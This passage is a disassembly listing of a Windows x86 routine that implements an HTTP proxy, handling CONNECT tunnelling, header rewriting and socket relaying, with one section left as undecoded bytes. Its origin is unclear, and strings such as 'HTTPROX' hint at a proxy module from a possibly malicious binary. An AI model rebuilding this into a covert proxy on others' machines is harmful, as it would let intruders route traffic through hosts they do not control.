		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_447214
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471EC ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471EC ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C6C ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 68F07FE8h, 333D9071h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h
		dd 75000027h, 90016A0Dh, 405B3FE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
